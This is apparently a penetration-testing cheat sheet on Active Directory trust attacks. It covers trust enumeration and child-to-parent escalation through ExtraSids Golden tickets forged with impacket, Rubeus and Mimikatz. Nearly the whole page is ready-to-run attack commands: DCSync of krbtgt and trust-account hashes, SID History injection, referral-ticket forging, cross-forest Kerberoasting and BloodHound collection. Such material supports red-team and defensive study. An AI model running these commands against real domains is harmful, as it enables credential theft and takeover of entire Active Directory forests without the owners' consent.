AD Attacks

AD Trust Attacks

Active Directory trust exploitation: child-to-parent escalation with ExtraSids Golden ticket, SID History injection, cross-forest trust attacks when SID Filtering is disabled, trust account password forging, and inter-domain trust enumeration.

AD trusts allow users in one domain to access resources in another. The attack surface comes from the parent-child trust being automatic and bidirectional — compromise any child domain → escalate to the forest root. Cross-forest attacks work only when SID Filtering is explicitly disabled.

Trust Types Reference

TypeDirectionTransitiveNotes
Parent-childTwo-wayYesAutomatic within a forest — always exploitable
Tree-rootTwo-wayYesAutomatic between forest roots
ForestTwo-way / One-wayYesRequires manual setup; SID Filtering on by default
ExternalOne-way or Two-wayNoBetween different forests; SID Filtering on
ShortcutTwo-wayYesManual optimization between domains in same forest
MIT KerberosOne-wayNoCross-platform Kerberos trust

Enumeration

# All trusts for current domain
Get-DomainTrust

# Specific domain's trusts
Get-DomainTrust -Domain child.corp.local

# Forest trusts
Get-ForestTrust
Get-ForestDomain

# Recursive trust map (all domains + trusts)
Get-DomainTrustMapping

# Trust attributes and direction
Get-DomainTrust | Select SourceName, TargetName, TrustDirection, TrustType, TrustAttributes

# Users with SID History set (could be artifacts of past attacks)
Get-DomainUser -LDAPFilter "(sidHistory=*)" | Select samaccountname, sidhistory
# BloodHound Cypher — all trust edges
MATCH (d1:Domain)-[r:TrustedBy]->(d2:Domain) RETURN d1.name, r, d2.name

# impacket
lookupsid.py corp.local/user:pass@DC_IP | grep "Domain\|Enterprise"

Child Domain → Parent Domain (ExtraSids)

The most reliable intra-forest escalation. Compromise a child domain, forge a Golden ticket with the parent’s Enterprise Admins SID injected into the PAC’s ExtraSids field.

Gather required values

# 1. DCSync krbtgt from child domain
secretsdump.py -just-dc-user krbtgt child.corp.local/admin:pass@CHILD_DC_IP
# Output: krbtgt:HASH (save the NTLM hash)

# 2. Get child domain SID
lookupsid.py corp.local/user:pass@CHILD_DC_IP 0
# OR
Get-DomainSID -Domain child.corp.local  # PowerView
# 3. Get parent domain SID
lookupsid.py corp.local/user:pass@PARENT_DC_IP 0
# Enterprise Admins SID = PARENT_DOMAIN_SID + -519
# Domain Admins SID    = PARENT_DOMAIN_SID + -512

Forge the ticket (impacket)

ticketer.py \
  -nthash CHILD_KRBTGT_HASH \
  -domain-sid CHILD_DOMAIN_SID \
  -domain child.corp.local \
  -extra-sid PARENT_DOMAIN_SID-519 \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache

# Access parent domain
psexec.py -k -no-pass corp.local/Administrator@PARENT_DC.corp.local
secretsdump.py -k -no-pass -just-dc-ntlm corp.local/Administrator@PARENT_DC.corp.local

Forge the ticket (Rubeus — Windows)

# Get child domain SID + parent Enterprise Admins SID
Get-DomainSID
Get-DomainGroupMember -Identity 'Enterprise Admins' -Domain corp.local | Select-Object MemberObjectClass

# Forge and inject
.\Rubeus.exe golden \
  /rc4:CHILD_KRBTGT_HASH \
  /domain:child.corp.local \
  /sid:CHILD_DOMAIN_SID \
  /sids:PARENT_DOMAIN_SID-519 \
  /user:Administrator \
  /ptt

# Use the ticket
dir \\PARENT_DC\C$

Forge the ticket (Mimikatz — Windows)

kerberos::golden \
  /user:Administrator \
  /domain:child.corp.local \
  /sid:CHILD_DOMAIN_SID \
  /krbtgt:CHILD_KRBTGT_HASH \
  /sids:PARENT_DOMAIN_SID-519 \
  /ptt

misc::convert ccache Administrator.kirbi   # for Linux use

SID History Injection

If SID History isn’t filtered on the trust (intra-forest by default), add a parent domain group SID to a user’s sidHistory attribute. When the user authenticates to the parent domain, the injected SID is included in the PAC → treated as a member of that group.

# Mimikatz — patch SID history (requires DC SYSTEM or domain admin in child)
privilege::debug
sid::patch
sid::add /sam:attacker /new:PARENT_DOMAIN_SID-519
# secretsdump to check if sidHistory exists on accounts
secretsdump.py child.corp.local/admin:pass@CHILD_DC_IP -just-dc-ntlm | grep sidHistory

Cross-Forest Trust (SID Filtering Disabled)

SID Filtering is enabled by default on forest trusts. If explicitly disabled (quarantine = False), ExtraSids injections work cross-forest.

# Check SID Filtering status
Get-DomainTrust | Select TargetName, TrustAttributes
# If 'QUARANTINED_DOMAIN' is NOT in TrustAttributes = SID Filtering disabled

# OR
nltest /domain_trusts /all_trusts

If SID Filtering is disabled, use the same ExtraSids technique but target the forest’s Enterprise Admins SID instead.


Trust Account Password (Inter-Domain Referral Tickets)

Every trust creates a trust account in AD (domain name + $). Compromising the trust account’s password allows forging inter-domain referral tickets.

# Find trust account hashes via DCSync
secretsdump.py corp.local/admin:pass@DC_IP | grep "\$"
# Look for: CHILD$, PARENT$, TRUST_DOMAIN$

# Forge inter-domain referral ticket
ticketer.py \
  -nthash TRUST_ACCOUNT_HASH \
  -domain-sid SOURCE_DOMAIN_SID \
  -domain child.corp.local \
  -spn krbtgt/corp.local \
  Administrator

export KRB5CCNAME=Administrator.ccache

Cross-Forest Resource Access (One-Way Trust)

If there’s a one-way trust (source trusts target), users in the target domain can access resources in the source domain.

# Enumerate users in trusted domain from current domain
Get-DomainUser -Domain trusted.corp -Server TRUSTED_DC_IP

# Access resources in the trusting domain using your creds
net use \\SERVER.TRUSTING_DOMAIN\share /user:TRUSTED_DOMAIN\user pass

Kerberoasting Across Trusts

# Request TGS for accounts with SPNs in a trusted domain
GetUserSPNs.py -target-domain trusted.corp -request \
  corp.local/user:pass -dc-ip CORP_DC_IP

# Cross-domain Kerberoasting via Rubeus
.\Rubeus.exe kerberoast /domain:trusted.corp /nowrap

Enumeration Checklist

# 1. Map all trusts
Get-DomainTrustMapping

# 2. Check SID Filtering on each trust
Get-DomainTrust | Select TargetName, TrustAttributes

# 3. Check for users with SID History
Get-DomainUser -LDAPFilter "(sidHistory=*)"

# 4. Enumerate groups with members from other domains
Get-DomainForeignGroupMember -Domain corp.local

# 5. BloodHound — collect from all forest domains
bloodhound-python -u user -p pass -d child.corp.local -ns CHILD_DC_IP -c All
bloodhound-python -u user -p pass -d corp.local -ns PARENT_DC_IP -c All
# Upload both ZIPs to see cross-domain edges